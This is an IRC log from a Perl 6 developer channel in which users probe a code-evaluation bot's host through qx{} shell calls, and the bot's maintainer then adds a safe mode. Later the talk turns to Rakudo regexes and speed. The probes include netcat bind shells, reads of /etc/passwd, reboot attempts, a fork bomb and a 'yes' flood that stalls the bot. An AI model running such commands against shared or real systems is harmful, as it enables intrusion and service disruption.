p6eval rakudo 695300: OUTPUT«I can haz spam: forward host lookup failed: Unknown host␤␤»
rakudo 695300: OUTPUT«uid=1000(evalenv) gid=1000(evalenv) groups=1000(evalenv),1001(evalbot)␤»
PerlJam at least it's not a privileged account :)
wayland76 rakudo: say qx/echo 'I can haz spam' | nc mail.example.org -p 25/
p6eval rakudo 695300: OUTPUT«mail.example.org: forward host lookup failed: Unknown host␤␤»
eternaleye_ rakudo: say qx/nc -l -e zsh -p 1337/
wayland76 rakudo: say qx{tail /var/log/syslog}
s1n rakudo: qx/sudo whoami/
p6eval rakudo 695300: ( no output )
rakudo 695300: OUTPUT«tail: cannot open `/var/log/syslog' for reading: Permission denied␤␤»
rakudo 695300: ( no output )
wayland76 rakudo: say qx{ls /var/log} 05:10
s1n rakudo: qx/sudo ls/
p6eval rakudo 695300:
..OUTPUT«apt␤aptitude␤aptitude.1.gz␤aptitude.2.gz␤aptitude.3.gz␤aptitude.4.gz␤aptitude.5.gz␤aptitude.6.gz␤auth.log␤auth.log.0␤auth.log.1.gz␤auth.log.2.gz␤auth.log.3.gz␤auth.log.4.gz␤auth.log.5.gz␤auth.log.6.gz␤boot␤bootstrap.log␤btmp␤btmp.1␤daemon.log␤debug␤dmesg␤dpkg.log␤dpkg.log.1␤dpkg.lo…
rakudo 695300: ( no output )
wayland76 rakudo: say qx{tail /var/log/auth.log}
p6eval rakudo 695300: OUTPUT«tail: cannot open `/var/log/auth.log' for reading: Permission denied␤␤»
wayland76 rakudo: say qx{tail /var/log/messages}
p6eval rakudo 695300: OUTPUT«tail: cannot open `/var/log/messages' for reading: Permission denied␤␤»
wayland76 rakudo: say qx{ls /home} 05:11
s1n rakudo: qx/cat \/etc\/passwd/
p6eval rakudo 695300: OUTPUT«evalbot␤evalenv␤moritz␤pmurias␤␤»
rakudo 695300: ( no output )
s1n rakudo: qx/\/sbin/route/
wayland76 s1n: I've tried that with "say", and it works
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "route/"␤in Main (src/gen_setting.pm:0)␤»
clug rakudo: say qx{wget www.google.com}
eternaleye_ rakudo: say qx/wget www.whatismyip.com/automation/n09230945.asp -O -/
p6eval rakudo 695300: OUTPUT«--2009-05-27 05:11:43-- www.google.com/␤Resolving www.google.com... 72.14.221.104, 72.14.221.103, 72.14.221.147, ...␤Connecting to www.google.com|72.14.221.104|:80... connected.␤HTTP request sent, awaiting response... 302 Found␤Location: www.google.de/
..[following]␤--…
rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "-/"␤in Main (src/gen_setting.pm:0)␤»
clug it's in germany...
or whever .de is 05:12
eternaleye_ rakudo: say qx:wget www.whatismyip.com/automation/n09230945.asp -O -:
clug wherever*
p6eval rakudo 695300: OUTPUT«Colons cannot be used as delimiters in quoting constructs at line 1, near ":wget http"␤in Main (src/gen_setting.pm:0)␤»
s1n rakudo: qx/perl6/
p6eval rakudo 695300: ( no output )
s1n awww
eternaleye_ rakudo: say qx[wget www.whatismyip.com/automation/n09230945.asp -O -]
p6eval rakudo 695300: OUTPUT«--2009-05-27 05:12:24-- www.whatismyip.com/automation/n0923...␤Resolving www.whatismyip.com... 72.233.89.199, 72.233.89.198, 72.233.89.200␤Connecting to www.whatismyip.com|72.233.89.199|:80... connected.␤HTTP request sent, awaiting response... 200 OK␤Length: 13
..[text/h…
eternaleye_ ...
wayland76 de = deutchland (as in, "Deutchland, Deutchlan, uber alles..." )
eternaleye_ rakudo: say qx[wget www.whatismyip.com/automation/n09230945.asp -q -O -]
p6eval rakudo 695300: OUTPUT«80.237.200.60␤»
s1n rakudo: qx/reboot/ 05:13
p6eval rakudo 695300: ( no output )
s1n heh
eternaleye_ rakudo: say qx/nc -l -e bash -p 1337/
s1n rakudo: say "still alive"
p6eval rakudo 695300: ( no output )
rakudo 695300: OUTPUT«still alive␤»
clug 80.237.200.60/
... THAT'S HIS WEBSITE
eternaleye_ rakudo: say qx/nc -e bash -p 1337/ 05:14
p6eval rakudo 695300: OUTPUT«no destination␤␤»
05:15 ssm joined
s1n rakudo: qx/cat \/dev\/random \&/ 05:15
clug rakudo: say qx{ls /dev | grep audio}
p6eval rakudo 695300: ( no output )
rakudo 695300: OUTPUT«audio␤audio1␤audio2␤audio3␤audioctl␤␤»
clug lol
05:16 ssm left
s1n rakudo: qx{ps -ef | grep cat} 05:16
p6eval rakudo 695300: ( no output )
s1n aww
even background pids are killed
eternaleye_ rakudo: say qx/nc -l -e bash -p 1337 &/
clug rakudo: say qx{cat /dev/urandom/ > /dev/audio}
s1n rakudo: qx{ cat /dev/random | /dev/audio}
doh, clug had that one
p6eval rakudo 695300: ( no output ) 05:17
rakudo 695300: OUTPUT«/bin/sh: /dev/audio: Permission denied␤␤»
rakudo 695300: ( no output )
wayland76 rakudo: qx/bash -c 'nohup cat \/dev\/random \&'/
p6eval rakudo 695300: OUTPUT«Malformed UTF-8 string␤in Main (/tmp/CsuiO0nVgH:1)␤»
s1n wayland76: try with qx{}
wayland76 rakudo: qx{ps -ef | grep cat}
p6eval rakudo 695300: ( no output )
clug rakudo: say qx{w}
p6eval rakudo 695300: OUTPUT« 05:17:47 up 266 days, 16:23, 0 users, load average: 0.29, 0.22, 0.28␤USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT␤␤»
wayland76 rakudo: print qx{bash -c 'nohup cat /dev/random \&'} 05:18
p6eval rakudo 695300: ( no output )
wayland76 rakudo: qx{ps -ef | grep cat}
p6eval rakudo 695300: ( no output )
s1n nothing like testing your security by putting a bot with qx in a channel with bored programmers 05:19
wayland76 I'm surprised at the self-restraint here :)
zepolen qx{cat /proc/cpuinfo | grep model\ name}
rakudo: say qx{cat /proc/cpuinfo | grep model\ name} 05:20
p6eval rakudo 695300: OUTPUT«model name : Intel(R) Pentium(R) 4 CPU 2.00GHz␤␤»
eternaleye_ rakudo: say qx{ stat /usr/lib/libssl.so }
p6eval rakudo 695300: OUTPUT«stat: cannot stat `/usr/lib/libssl.so': No such file or directory␤␤»
s1n rakudo: qx/eject/
p6eval rakudo 695300: ( no output )
s1n yay
wayland76 rakudo: say while(1) { q x{ wget www.example.com/moo.wav -o /dev/audio } } 05:21
eternaleye_ rakudo: say qx{ stat /usr/lib/libcrypto.so }
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "{ q x{ wge"␤in Main (src/gen_setting.pm:0)␤»
rakudo 695300: OUTPUT«stat: cannot stat `/usr/lib/libcrypto.so': No such file or directory␤␤»
eternaleye_ rakudo: say qx{ stat /usr/lib64/libcrypto.so }
wayland76 phew!
p6eval rakudo 695300: OUTPUT«stat: cannot stat `/usr/lib64/libcrypto.so': No such file or directory␤␤»
wayland76 (I put that space between the q and the x on purpose :) )
clug :(){ :|:& };:
eternaleye_ rakudo: say qx{ openssl -V }
p6eval rakudo 695300: OUTPUT«openssl:Error: '-V' is an invalid command.␤␤Standard commands␤asn1parse ca ciphers crl crl2pkcs7 ␤dgst dh dhparam dsa dsaparam ␤ec ecparam enc engine
..errstr …
wayland76 clug: Don't do that :)
clug k
ls `yes` 05:22
eternaleye_ rakudo: say qx{ openssl -v }
p6eval rakudo 695300: OUTPUT«openssl:Error: '-v' is an invalid command.␤␤Standard commands␤asn1parse ca ciphers crl crl2pkcs7 ␤dgst dh dhparam dsa dsaparam ␤ec ecparam enc engine
..errstr …
s1n rakudo: qx{ cat /proc/filesystems/ }
p6eval rakudo 695300: ( no output )
s1n rakudo: qx{ cat /proc/filesystems }
p6eval rakudo 695300: ( no output )
zepolen rakudo: qx{ls /home}
p6eval rakudo 695300: ( no output )
s1n rakudo: qx{ cat /proc/devices }
eternaleye_ rakudo: say qx{ openssl version }
p6eval rakudo 695300: ( no output )
rakudo 695300: OUTPUT«OpenSSL 0.9.8g 19 Oct 2007␤␤»
eternaleye_ That's not good. 05:23
s1n can't tweak with /proc
zepolen heh
wayland76 (clug -- I meant don't try it on Rakudo; I don't mean to suppress you from writing things on the channel -- I ran the command you showed once :) )
eternaleye_ SSH-2.0-OpenSSH_5.1p1 Debian-5
zepolen rakudo: say qx{ls /home}
p6eval rakudo 695300: OUTPUT«evalbot␤evalenv␤moritz␤pmurias␤␤»
clug rakudo: say qx{ls /home/evalenv/pugs/examples/cgi/memory_game/www}
p6eval rakudo 695300: OUTPUT«game.css␤index.html␤pics␤␤»
05:23 masak joined
wayland76 rakudo: say qx{ cat /proc/devices } 05:23
p6eval rakudo 695300: OUTPUT«Character devices:␤ 1 mem␤ 2 pty␤ 3 ttyp␤ 4 /dev/vc/0␤ 4 tty␤ 4 ttyS␤ 5 /dev/tty␤ 5 /dev/console␤ 5 /dev/ptmx␤ 7 vcs␤ 10 misc␤ 13 input␤ 29 fb␤128 ptm␤136 pts␤254 twe␤␤Block devices:␤ 1 ramdisk␤ 2 fd␤ 7 loop␤ 8 sd␤ 22 ide1␤ 65 sd␤ 66 sd␤ 67 sd␤ 68 sd␤ 69 sd␤ 70
..sd␤ 71…
wayland76 s1n: You have to "say" it :) 05:24
clug awwbut that's not his webserver
masak std: say (1, 2, 3) [**] 2
clug where is it...
p6eval std 26940: OUTPUT«ok 00:02 37m␤»
masak rakudo: say (1, 2, 3) [**] 2
p6eval rakudo 695300: OUTPUT«Statement not terminated properly at line 1, near "[**] 2"␤in Main (src/gen_setting.pm:0)␤»
s1n rakudo: say qx{ reboot }
p6eval rakudo 695300: OUTPUT«/bin/sh: reboot: command not found␤␤»
eternaleye_ Whoever runs the evalbot's machine, you need to upgrade OpenSSH *badly*. It's one of the weak-keys versions.
s1n rakudo: say qx{ /sbin/reboot } 05:25
p6eval rakudo 695300: OUTPUT«reboot: must be superuser.␤␤»
05:25 clug left, clug joined
s1n rakudo: say qx { sudo /sbin/reboot } 05:25
eternaleye_ And if people have DSA keys on it, I recommend regenerating them.
p6eval rakudo 695300: OUTPUT«/bin/sh: sudo: command not found␤␤»
clug stoptrying to reboot it
masak s1n: rather than trying to devise attacks against p6eval, please direct your efforts towards building a sandbox for it.
clug rakudo: say qx{ls /home/} 05:26
p6eval rakudo 695300: OUTPUT«evalbot␤evalenv␤moritz␤pmurias␤␤»
s1n masak: the sandbox seems alright
zepolen rakudo: say qx{/home/moritz}
masak s1n: you do give the impression of wanting to hurt p6eval.
zepolen rakudo: say qx{ls /home/moritz}
p6eval rakudo 695300: OUTPUT«/bin/sh: /home/moritz: is a directory␤␤»
rakudo 695300: OUTPUT«libstring-multibyte-perl_1.05-1_all.deb␤libstring-multibyte-perl_1.05.orig.tar.gz␤String-Multibyte-1.05␤␤»
s1n masak: why would i want to hurt something i use regularly 05:27
zepolen rakudo: say qx{ls /home/pmurias}
masak good question.
p6eval rakudo 695300: OUTPUT«␤»
s1n masak: if i wanted to hurt it, i'd do something destructive, not reboot
zepolen this is a boring server
rakudo: say qx{ls /var/www}
p6eval rakudo 695300: OUTPUT«ls: cannot access /var/www: No such file or directory␤␤» 05:28
masak s1n: I'd rather that even knowledgeable people like you didn't try different unintended things with the p6eval server.
it's certainly possible to cause limited harm, if one tries hard enough.
zepolen rakudo: say qx{ls /var/srv}
p6eval rakudo 695300: OUTPUT«ls: cannot access /var/srv: No such file or directory␤␤»
masak I'd prefer it if people didn't try at all.
zepolen rakudo: say qx{ls /srv/www}
:)
p6eval rakudo 695300: OUTPUT«ls: cannot access /srv/www: No such file or directory␤␤»
s1n masak: okay, i wasn't trying to harm it, just see what it allowed
masak zepolen: please abstain. it's not constructive.
s1n masak: my recommendation is a full chrooted jail, but i'm only a meager programmer :) 05:29
wayland76 masak: I think at least 5 people here have restrained themselves from doing exciting things to the server :)
clug rakudo: say qx{ls /etc | grep http}
p6eval rakudo 695300: OUTPUT«␤»
wayland76 s1n++ suggestion
But I also suggest we all take masak's advice and stop playing with it
masak as far as I know, it's chrooted already. 05:30
05:30 synthEEEE joined
clug it responds in private, leave off the "rakudo:" 05:30
s1n masak: then we really can't do any harm
wayland76 rakudo: say qx{ls /home}
p6eval rakudo 695300: OUTPUT«evalbot␤evalenv␤moritz␤pmurias␤␤»
s1n masak: but that doesn't explain why i can see /proc
wayland76 ...or why moritz and pmurias have accounts in the gaol :)
masak probably not chrooted, then. 05:31
wayland76 JAILBREAK! :)
masak s1n: I'd rather people didn't try to find out whether harm can be done. the current system is at least partly based on trust and social conventions.
clug rakudo: say qx{ls -Ra > lseverything.txt} 05:32
p6eval rakudo 695300: OUTPUT«␤»
clug rakudo: say qx{ls -Ra / > lseverything.txt}
p6eval rakudo 695300: OUTPUT«ls: cannot open directory /etc/ssl/private: Permission denied␤ls: cannot open directory /home/evalbot/.subversion/auth: Permission denied␤ls: cannot open directory /home/moritz/String-Multibyte-1.05: Permission denied␤ls: cannot open directory /proc/1/fd: Permission denied␤ls:
..cann…
clug huh it has some sort of timeout
wayland76 ...or terminates after X amount of output
clug rakudo: qx{ls -Ra / > lseverything.txt}; say 'done'; 05:33
p6eval rakudo 695300: OUTPUT«done␤»
clug : )
s1n at the very least i would hope that the account is on a VM so it can always be easily restored if need be 05:34
and any damage is really just limited to giving network access to the vm (or device), which i wouldn't recommend 05:35
05:35 hcchien left
s1n then you can let people beat it up all you want 05:35
DQuest wow, that's a permissive bot
wayland76 rakudo: say qx{which route} 05:36
p6eval rakudo 695300: OUTPUT«␤»
clug rakudo: qx{ls}
p6eval rakudo 695300: ( no output )
wayland76 rakudo: say qx{ls /sbin/route}
p6eval rakudo 695300: OUTPUT«/sbin/route␤␤»
s1n but we should show restraint and not abuse a useful service as moritz_ mentioned
wayland76 rakudo: say qx{/sbin/route}
clug Kill it with fire
p6eval rakudo 695300: OUTPUT«Kernel IP routing table␤Destination Gateway Genmask Flags Metric Ref Use Iface␤80.237.200.0 * 255.255.255.0 U 0 0 0 eth0␤default ds80-237-200-1. 0.0.0.0 UG 0 0 0 eth0␤␤»
masak s1n: my point exactly.
DQuest s1n: Quite, but I suspect we should also find a mechanism to make it safer to sandbox because sooner or later someone will find a way to do something nasty, even if we're all watching 05:37
wayland76 rakudo: say qx{df}
p6eval rakudo 695300: OUTPUT«df: no file systems processed␤␤»
masak clug: I don't find your remark funny, even if meant ironically.
clug someone is changing permissions
s1n ha!
clug ls used to work
eternaleye_ masak: Do you know who has superuser access? They need to update openssl and regenerate their keys. It's a vilnerable version, and they're on debian.
*vulnerable
s1n no access to file systems, looks like the hand of nod has spoken
masak eternaleye_: I'll let moritz_ know. 05:38
eternaleye_ masak: Thanks
wayland76 Whoch changed the permissions? I want to ++ their karma
05:38 synth^3 joined
DQuest And I've got a shortlist of things that would be really dangerous for people to get at that they should be sure to block 05:39
s1n just for comical measure: 05:40
clug rakudo: say 'lol'
s1n rakudo: qx/sleep/;
clug it's not working 0_o
eternaleye_ Actually, as far as sandboxing goes, there's a binary called sandbox that Gentoo uses to restrict build processes. It only works for dynamically linked executables, but it's better than nothing
clug umm it's busy taking care of about 30 "rakudo: qx{yes &}"
eternaleye_ It disallows writing outside of allowed dirs
DQuest ah, it must do some interposing 05:41
eternaleye_ DQuest: It uses LD_PRELOAD
s1n clug: who did that??
DQuest and oh boy do I know more about linking and loading than I ever wanted to
yep
eternaleye_ Exherbo's working on a ptrace-based alternative, sydbox
clug someone
DQuest I imagine that it's possible to modify rakudo to go into restricted mode
indeed, something somewhat like the taint mode of ruby, that refuses to do certain operations such as executing commands if you pass data that's marked as tainted 05:42
I think I just put my foot in it
I bet that came from perl, right?
eternaleye_ DQuest: perl -T 05:43
or 'use taint' IIRC
clug lol it's getting through the yeses
eternaleye_ DQuest: That's waiting on infectious traits 05:44
p6eval rakudo 695300: ( no output )
clug it's done
it's alive again
rakudo: say 'I AM JESUS'
p6eval rakudo 695300: OUTPUT«I AM JESUS␤»
wayland76 Actually, that's a technique worth remembering if we ever get anyone malicious here 05:45
We could all flood the bot with "yes" via private message, and keep them out
masak banning someone off the channel is a technique worth remembering.
wayland76 masak: Well, yes, but I don't have privs for that :)
eternaleye_ masak: remember the I CAN HAZ OPS? discussion? 05:46
05:46 synth left
wayland76 just a mo... 05:46
05:46 wayland76 left
masak eternaleye_: no. please remind me. 05:46
05:47 wayland76 joined
clug Can I have ops please? 05:47
DQuest well, if one can be malicious in private messages...
who owns that bot?
eternaleye_ There was a mibbit user who asked for ops, TimToady kicked him, mentioned the thought of banning mibbit, you and moritz joked for the remainder of the day about it
clug rakudo: say chr(1); 05:48
p6eval rakudo 695300: OUTPUT«␤»
eternaleye_ clug: Izzat a DEL?
masak eternaleye_: oh, that one. yes, he asked "whoz op?"
clug eternaleye_ it's used in irc protocol
for ctcp 05:49
it's a SOH
DQuest it has to bookmark a message though
that said, it's a client-specific thing so maybe some clients would handle it badly
eternaleye_ For me it cause the right french quote to not show
*caused
dalek kudo: 14b8735 | pmichaud++ | src/classes/IO.pir:
Update IO.get to return a single line. Remove obsolete IOIterator class.
05:50
wayland76 I got a square box with a cross in it 05:51
DQuest rakudo: say chr(0)
p6eval rakudo 695300: OUTPUT«
DQuest now that's more like it
eternaleye_ Again with the disappearing wuote
*quote
Typing while laying down is difficult 05:52
05:52 hcchien joined, synthEEEE left 05:53 davidad left
DQuest rakudo: say chr(0), "privmsg dquest :test" 05:53
p6eval rakudo 695300: OUTPUT«
DQuest well, that behaves sensibly at least 05:54
pmichaud rakudo: say $*IN.get; 05:55
p6eval rakudo 695300: OUTPUT«Land der Berge, Land am Strome,Land der Äcker, Land der Dome,Land der Hämmer, zukunftsreich!»
pmichaud rakudo: say $*IN.lines;
p6eval rakudo 695300: ( no output )
masak pmichaud: probably got cut off before giving any output.
pmichaud masak: cut off? 05:56
masak pmichaud: moritz_ added tighter CPU restrictions, I think.
pmichaud how many lines of input are there?
masak not that many.
30-ish.
pmichaud hm.
masak rakudo: say +$*IN.lines
p6eval rakudo 695300: OUTPUT«24␤» 05:57
pmichaud rakudo: say +$*IN.get;
p6eval rakudo 695300: OUTPUT«Method 'Num' not found for invocant of class 'IOIterator'␤»
pmichaud Weird. Should be fixed as soon as p6eval updates, though :-)
clug DQuest: \0 just terminates
\r\n seperates commands 05:58
rakudo: say ">\r\n<" 05:59
p6eval rakudo 695300: OUTPUT«>
clug rakudo: say ">\r<"
p6eval rakudo 695300: OUTPUT«>
clug rakudo: say ">\n<"
p6eval rakudo 695300: OUTPUT«>␤<␤»
clug rakudo: say "\rsomeoutput" 06:00
p6eval rakudo 695300: ( no output )
clug nicely validated
rakudo: say qx(echo 'lol' > *) 06:01
pmichaud rakudo: say +$*IN.get;
p6eval rakudo 695300: ( no output )
rakudo 695300: ( no output ) 06:02
pmichaud rakudo: say $*IN.get;
p6eval rakudo 695300: ( no output )
pmichaud rakudo: say $*IN.get; 06:05
p6eval rakudo 695300: OUTPUT«Land der Berge, Land am Strome,Land der Äcker, Land der Dome,Land der Hämmer, zukunftsreich!»
pmichaud rakudo: say +$*IN.get;
p6eval rakudo 695300: ( no output )
pmichaud rakudo: say $*IN.get.WHAT;
p6eval rakudo 695300: OUTPUT«Str()␤»
pmichaud rakudo: say +($*IN.get)
p6eval rakudo 14b873: OUTPUT«0␤»
clug rakudo: say $*IN.get; 06:10
p6eval rakudo 14b873: OUTPUT«Land der Berge, Land am Strome,␤»
wayland76 Afternoon tea time. I'll be back in 20 minutes or so
clug lol redcoat 06:11
06:16 shughes joined, justatheory left, clug left
moritz_ good morning 06:17
masak moritz_: <eternaleye_> masak: Do you know who has superuser access? They need to update openssl and regenerate their keys. It's a vulnerable version, and they're on debian. 06:18
masak is playing msgbot today 06:19
moritz_ about the p6eval server?
masak aye.
pmichaud afk # sleep time
masak pmichaud: 'night
moritz_: is p6eval chrooted. I thought it was, but todays backlog suggests it isn't. 06:20
s/\./?/
moritz_ masak: it is
masak: it's just two home dirs that also exists in the chroot's /home/ 06:21
Matt-W Morning
moritz_ that confused the people in here
masak moritz_: I see.
Matt-W: morning, good sir.
moritz_ I don't know how eternaleye_ came to that conclusion 06:25
it's openssh-server 1:5.1p1-5 which is certainly not a vulnerable version 06:26
masak I don't know either. I'm just the msgbot.
moritz_ sure 06:27
moritz_ imagines masak singing "I'm just the msgbot" to the tunes of "I'm just the weatherman" ;-) 06:28
masak speaking of which, there are good chances of rain today.
Matt-W Looks like it here too 06:30
06:35 cotto left 06:36 cotto joined
eternaleye_ moritz_: openssl version responds that it was built during the vulnerable window 06:36
rakudo: say qx{ openssl version }
p6eval rakudo 14b873: OUTPUT«OpenSSL 0.9.8g 19 Oct 2007␤␤»
eternaleye_ moritz_: The bad change was introduced in 2006-09-17, and the CVE was in '08 06:37
06:37 ssm joined
moritz_ eternaleye_: I don't think that debian patches the release date 06:39
"For the stable distribution (etch), these problems have been fixed in 06:40
version 0.9.8c-4etch3.
"
eternaleye_ moritz_: Either way, at least check the keys with one of the methods Debian recommends: wiki.debian.org/SSLkeys#Testingkeysusingdowkd.pl
moritz_ that's 0.9.8g-15+lennysomething on the server 06:41
eternaleye_ Also, I'll link to the CVE - it says there are 0.9.8g versions that are vulnerable
moritz_: Ah, okay. The CVE says -9 and better are safe. I just thought the date in the version was build, not release 06:42
moritz_ eternaleye_: thanks for your concerns 06:43
(also debian installed the openssh-blacklist module along with the openssh-server security update, which runs ssh-vulnkey and rebuilt keys as needed) 06:44
eternaleye_ My gorram message is taking forever to hit the ML :(
masak yes, the MLs are slow. 06:45
eternaleye_ It doesn't help that I use NNTP
It may well be moderation, though. I sent around 3 hours ago.
wayland76 Do we have moderation? 06:46
eternaleye_ Usenet does, at least
moritz_ the mailing lists too
wayland76 I didn't know that.
Tene Yes, moderated.
moritz_ for people how are not subscribed and/or haven't posted for quite some time, at least
wayland76 Ah, ok, that might be a better system 06:47
I'm surprised it accepts the not-subscribed at all 06:48
moritz_ well, it's a rather open community ;-)
06:49 DemoFreak joined
masak it doesn't scale. but it has worked so far. 06:49
I can't remember ever getting spam through p6l, p6c or p6u.
06:51 cognominal joined
wayland76 Me either. I seem to be getting a lot of spam through my sourceforge address; fortunately pobox is collecting it all for me :) 06:51
06:54 shughes left 07:17 iblechbot joined 07:20 donaldh left 07:21 ElectricHeavyLan left, donaldh joined 07:24 payload left 07:26 zepolen left 07:34 alester left 07:36 mikehh left
pugs_svn r26941 | moritz++ | [S05] document action stubs 07:47
r26942 | moritz++ | [t/spec] smartlink to new S05 section 07:52
08:03 edenc joined 08:08 bacek left 08:12 DemoFreak left 08:17 eMaX joined
moritz_ public announcement to all evalbot users: I have a local patch now in rakudo that disables run(), qx and open. That also means that the version reporting of rakudo will be broken, because the SHA-1s differ due to a different commit 08:20
(rakudo being rebuilt right now)
masak moritz_: couldn't you patch the central Rakudo, and provide sandboxedness as a runtime flag? 08:22
moritz_ masak: that would be prefered, but more complicated
masak ok.
moritz_ masak: my current patch simply replaces those functions with '!FAIL'('$function not allowed') 08:23
I've opened a ticket requesting a "real" safe mode
masak moritz_++
moritz_ rakudo: run('ls')
p6eval rakudo 8ef347: OUTPUT«run() forbidden in safe mode␤»
masak moritz_++
moritz_ rakudo: say $*IN.get 08:24
p6eval rakudo 8ef347: OUTPUT«Land der Berge, Land am Strome,␤»
moritz_ still works, YaY
cotto moritz++
moritz_ afk
08:31 davidad joined 08:33 DanielC joined 08:38 ejs joined 08:41 phenny joined
Matt-W Nooo somebody save me from the boring frustrating meeting I'm going to have in quarter of an hour 08:42
masak Matt-W: ok, but how? to you, we're just lines of text in a chat window. 08:43
DanielC Matt-W: Bring a laptop with you and pretend you are taking notes. 08:45
cotto calls Matt-W's local police department with an anonymous tip
DanielC Matt-W: Do you work for a big company? Do you have a PHB?
cotto alternately, you can print up an appropriately buzzword-filled bingo card 08:46
DanielC he he he
cotto www.youtube.com/watch?v=cgeLY7CL5IE 08:47
DanielC heh 08:49
cotto: You know the idea comes from Dilbert, right?
cotto I didn't know it originated there. 08:50
it's brilliant, though
08:50 tulcod joined
DanielC Say... can anyone tell me if /foo|bar/ does the same thing in Perl 6 as it did in Perl 5? (ie. either match the entire word "foo" or the entire word "bar") 08:51
Matt-W DanielC: no, instead of a PHB I have a LHP 08:52
masak DanielC: it does.
DanielC Matt-W: LHP?
Matt-W DanielC: Long-haired pillock
DanielC ah
big company?
wayland76 Is that the British equivalent? 08:53
Matt-W Very big company
wayland76: no we have PHBs as well, my boss isn't one though
He's slightly more intelligent than that
DanielC masak: Hmm... I have converted a benchmark to Perl 6 but the regexes don't do the right thing.
wayland76 (and does the phrase "Long-haired pillock" come from Terry Pratchett?)
Matt-W But it's not him who tends to make these meetings so painful anyway
wayland76: not in my usage, I was aware of it long before I was aware of Pratchett
I think I might just have a nap instead 08:54
masak DanielC: time to start debugging, then.
DanielC masak: Speaking of which... I found my first Rakudo bug yesterday. \o/
wayland76 Class '[ 'parrot' ; 'Perl6MultiSub' ]' not found
current instr.: 'perl6;Perl6Role;!add_variant' pc 3584 (src/classes/Role.pir:27)
Matt-W: Common British phrase then? 08:55
masak DanielC: I saw. way to go!
wayland76 Btw, that error I pasted; can someone give me a tip as to what it's looking for? 08:56
Or what file contains the thing it's looking for?
Matt-W wayland76: yes 08:57
wayland76: slightly archaic, a lot of that kind of thing has been taken over by american slang
wayland76 A pity. I like different accents :)
Btw, Rakudo finally builds on top of a Parrot package. Now I just have to get it to work :) 08:58
lu_zero wayland76 great =)
masak phenny: tell mberends I'd like some coaching about showing SVG content in HTML when you have the time. I copied your httpd code, but it still doesn't quite work here.
phenny masak: I'll pass that on when mberends is around. 08:59
wayland76 (I had to modify both the Parrot and Rakudo install processes :)
08:59 davidad left
lu_zero I hadn't the time to go further since last time 08:59
did you push the patches somewhere in the parrot/rakudo bug trackers?
wayland76 No, but I can send you one 09:00
lu_zero thank you
wayland76 I wanted to get the Rakudo working first, then I plan to send all the patches back 09:01
Ok. The Parrot patch is the main thing. I'll send that first
I'm kinda stuck until I get a tip on that error message anyway :)
DanielC rakudo: say "cats and dogs".comb(/[bc]at|dog/) 09:04
p6eval rakudo 8ef347: OUTPUT«dog␤»
DanielC masak: Is that correct?
masak hm. 09:05
DanielC I was expecting "catdog"
masak DanielC: yes. it's correct.
DanielC It's the [bc] that breaks it.
masak DanielC: [] doesn't do what you think it does.
DanielC: see S05.
DanielC ugh
rakudo: say "cats and dogs".comb(/<[bc]>at|dog/)
p6eval rakudo 8ef347: OUTPUT«catdog␤»
DanielC *kick*
masak rakudo: say "cats and dogs".comb(/<[bc]>at|dog/).perl 09:06
p6eval rakudo 8ef347: OUTPUT«["cat", "dog"]␤»
DanielC Why did they change [] ?
09:08 azawawi joined
masak DanielC: that's also in S05. :) 09:08
DanielC :P
I'll read S05 today.
masak it's quite good. 09:09
azawawi std: my $int_num = 0d10;
p6eval std 26942: OUTPUT«ok 00:02 36m␤»
masak I'd recommend it to anyone writing Perl 6 regexes. :)
azawawi std: my $int_num = 00d10;
DanielC :-)
p6eval std 26942: OUTPUT«Can't call method "cursor_fresh" on an undefined value at STD.pm line 40804.␤FAILED 00:02 36m␤»
wayland76 masak: LOL
azawawi aha std parsing bug
DanielC masak: It's not like I haven't looked at it. I just haven't read it cover to cover. It's a tad long.
azawawi masak: what do u think about my $int_num = 00d10; 09:10
DanielC Hmm... the benchmark is making progress. Most of the output is correct, but there's some still wrong...
masak azawawi: I think that it shouldn't parse. but the error message is strange.
azawawi masak: yeah
TimToady: i think my $int_num = 00d10; has a bug. it returns 'Can't call method "cursor_fresh" on an undefined value at STD.pm line 40804' 09:11
09:13 tulcod left 09:14 dakkar joined, mikehh joined 09:15 tulcod joined
wayland76 lu_zero: E-mails sent 09:16
lu_zero wayland76 thank you
09:17 payload joined
wayland76 DanielC++ for sensible e-mails :) 09:17
09:22 davidad joined, pnu joined, azawawi left
DanielC rakudo: say "foo\n>test\nbar".subst(/^\>.*?\n/,"",:g) 09:26
p6eval rakudo 8ef347: OUTPUT«foo␤>test␤bar␤»
DanielC Why isn't "> test" being deleted?
09:27 cmv joined
moritz_ because ^ matches only at start of string 09:27
^^ matches at start of line, which is what you want, probably
DanielC hm
rakudo: say "foo\n>test\nbar".subst(/^^\>.*?\n/,"",:g) 09:28
p6eval rakudo 8ef347: OUTPUT«foo␤bar␤»
DanielC yeah, thats better. Thanks.
moritz_ rakudo: say "foo\n>test\nbar".subst(/ ^^ \> \N* \n /, '', :g)
p6eval rakudo 8ef347: OUTPUT«foo␤bar␤»
moritz_ whitespaces improve readability a lot ;-)
09:29 trod joined
DanielC Does ^^ speed up or slow down a regex? 09:32
wayland76 DanielC: Compared to what? 09:33
DanielC Compared to not having ^^
.subst(/ ^^ \> \N* \n /, '', :g)
The ^^ is not actually needed for this data set.
moritz_ I don't think it makes a difference right now 09:34
DanielC Is it a "best practice" to include it?
moritz_ though maybe later the will be some optimizations that take advnantage of it
use if it describes the data format better 09:35
09:35 ejs1 joined
DanielC in the data the > always starts at the beginning of a new line. It's like a comment. 09:35
moritz_ then include the ^^, I'd say 09:36
DanielC ok
Jesus... Perl 6 takes 81 seconds to run subst(/ (^^ \> \N*)? \n/, '', :g); 09:38
Perl 5 can do the entire benchmark in 0.14s
09:39 agentzh left
moritz_ well, yes. Speed improvements are really needed 09:40
pmichaud++ is working on refactoring the regex engine, which hopefully gives us some speed benefits too
DanielC yay for pmichaud 09:41
wayland76 lambdabot: @karma pmichaud
lambdabot pmichaud has a karma of 433
wayland76 @karma DanielC
lambdabot DanielC has a karma of 2
moritz_ @karma wayland76
lambdabot wayland76 has a karma of 4
moritz_ wayland76: do you use a differnt nick for commits?
wayland76 @karma wayland
lambdabot wayland has a karma of 52
DanielC Ok, the entire benchmark takes 99 seconds on Rakudo and 0.18s for Perl 5.
moritz_ rakudo: say 99 / 0.18 09:42
p6eval rakudo 8ef347: OUTPUT«550␤»
wayland76 moritz_ has a few nicks, and his karma adds up to about 500, I think :)
@karma moritz_
